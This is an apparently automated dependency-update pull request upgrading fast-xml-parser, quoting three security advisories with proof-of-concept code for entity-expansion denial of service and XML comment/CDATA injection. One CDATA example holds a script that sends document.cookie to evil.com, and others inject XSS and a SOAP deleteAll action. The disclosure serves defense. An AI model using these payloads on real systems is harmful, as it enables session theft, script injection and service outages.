chore(deps): update dependency fast-xml-parser to v5 [security] by renovate[bot] · Pull Request #1994 · giantswarm/backstage

renovate · 2026-07-24T15:44:00Z

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This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
fast-xml-parser	`4.5.4` → `5.7.0`

fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

CVE-2026-33036 / GHSA-8gc5-j5rx-235r

More information

Details

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#&#8203;65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000)
1M references → 5,000,000 char output, ~147MB memory consumed
Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

Excessive memory allocation (147MB+ for 1M entity references)
CPU consumption during regex replacement
Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser

CVE-2026-33349 / GHSA-jp2q-39xq-3w4g

More information

Details

Summary

The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

Details

The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):

// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,

However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:

// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&          // ← 0 is falsy, skips check
    entityCount >= this.options.maxEntityCount) {
    throw new Error(`Entity count ...`);
}

// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&            // ← 0 is falsy, skips check
    entityValue.length > this.options.maxEntitySize) {
    throw new Error(`Entity "${entityName}" size ...`);
}

The execution flow is:

Developer configures processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions.
OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior).
Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false.
DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result.
All entity count and size limits are bypassed; entities are parsed without restriction.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Expected output:

VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)

Impact

Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely.
Security control bypass: Developers who explicitly set restrictive limits to 0 receive no protection — the opposite of their intent. This creates a false sense of security.
Scope: Only applications that explicitly set these limits to 0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.

Recommended Fix

Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:

// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&
    entityCount >= this.options.maxEntityCount) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntityCount === 'number' &&
    entityCount >= this.options.maxEntityCount) {

// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&
    entityValue.length > this.options.maxEntitySize) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntitySize === 'number' &&
    entityValue.length > this.options.maxEntitySize) {

Workaround

If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

CVE-2026-41650 / GHSA-gh4j-gqv2-49f6

More information

Details

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

CVE-2023-26920: Prototype pollution (parser)
CVE-2023-34104: ReDoS (parser)
CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
SOAP injection: Modify SOAP message structure by injecting XML elements
RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#&#8203;45;&#&#8203;45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Severity

CVSS Score: 6.1 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

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renovate Bot commented Jul 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

Details

Summary

Affected Versions

Root Cause

Proof of Concept

Impact

Suggested Fix

Workaround

Severity

References

Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser

Details

Summary

Details

PoC

Impact

Recommended Fix

Workaround

Severity

References

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

Details

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

Vulnerable Code

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

Test 2: CDATA Injection (RSS feed)

Test 3: SOAP Message Injection

Tested Output

Impact

Suggested Fix

Severity

References

Release Notes

v5.6.0: use @​nodable/entities to replace entities

v5.5.10: performance improvment, increase entity expansion default limit

v5.5.9: fix typins and matcher instance in callbacks

v5.5.7: fix bugs of entity parsing and value parsing

v5.5.6: fix entity expansion and incorrect replacement and performance

v5.5.5: support onDangerousProperty

v5.5.2: update dependecies to fix typings

v5.5.1: integrate path-expression-matcher

v5.4.0: Separate Builder

Migration

v5.3.9: support strictReservedNames

v5.3.8: handle non-array input for XML builder && support maxNestedTags

v5.3.7: CJS typing fix

What's Changed

New Contributors

v5.3.6: Entity security and performance

What's Changed

New Contributors

v5.3.4: fix: handle HTML numeric and hex entities when out of range

v5.3.3: bug fix and performance improvements

v5.3.0: Replace Buffer with Uint8Array

v5.2.4: Support EMPTY and ANY with ELEMENT in DOCTYPE

v5.2.2: upgrade to ESM module and fixing value parsing issues

Configuration

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renovate Bot commented Jul 24, 2026 •

edited

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`v5.6.0`: use @nodable/entities to replace entities

`v5.5.10`: performance improvment, increase entity expansion default limit

`v5.5.9`: fix typins and matcher instance in callbacks

`v5.5.7`: fix bugs of entity parsing and value parsing

`v5.5.6`: fix entity expansion and incorrect replacement and performance

`v5.5.5`: support onDangerousProperty

`v5.5.2`: update dependecies to fix typings

`v5.5.1`: integrate path-expression-matcher

`v5.4.0`: Separate Builder

`v5.3.9`: support strictReservedNames

`v5.3.8`: handle non-array input for XML builder && support maxNestedTags

`v5.3.7`: CJS typing fix

`v5.3.6`: Entity security and performance

`v5.3.4`: fix: handle HTML numeric and hex entities when out of range

`v5.3.3`: bug fix and performance improvements

`v5.3.0`: Replace `Buffer` with `Uint8Array`

`v5.2.4`: Support EMPTY and ANY with ELEMENT in DOCTYPE

`v5.2.2`: upgrade to ESM module and fixing value parsing issues